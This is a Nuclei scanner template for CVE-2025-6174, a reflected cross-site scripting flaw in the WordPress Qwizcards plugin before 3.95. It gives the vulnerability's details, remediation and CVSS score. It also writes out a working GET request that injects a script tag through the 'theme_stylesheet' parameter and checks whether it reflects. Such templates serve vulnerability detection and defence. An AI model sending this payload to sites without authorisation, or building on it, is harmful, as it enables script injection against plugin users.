id: CVE-2025-6174

info:
  name: WordPress Qwizcards < 3.95 - Cross-Site Scripting (Reflected)
  author: 0x_Akoko
  severity: medium
  description: |
    The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the "theme_stylesheet" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.
  impact: |
    Attackers can execute scripts in the context of high privilege users, potentially leading to account compromise or session hijacking.
  remediation: |
    Update to the latest version beyond 3.9.4.
  reference:
    - https://wpscan.com/vulnerability/ff827f67-712e-4ab6-b6aa-7f5e6ff1283a/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6174
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-6174
    epss-score: 0.01822
    epss-percentile: 0.83138
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,qwizcards,wordpress,wp-plugin,xss,unauth,vkev

variables:
  randstr: "{{rand_base(8)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/qwiz-online-quizzes-and-flashcards/qwiz_admin_sample_buttons.php?theme_stylesheet=\"><script>alert('{{randstr}}')</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('{{randstr}}')</script>"
          - "rel=\"stylesheet\""
          - "qwiz_button"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e7bec8c803e7a38cfeaf608dc4adde9d31a8472e845cf060290e93fc4b456109022100efbe315a11e10774618d654345bc1b914cf7b72e64455803f663bed41392362a:922c64590222798bb761d5b6d8e72950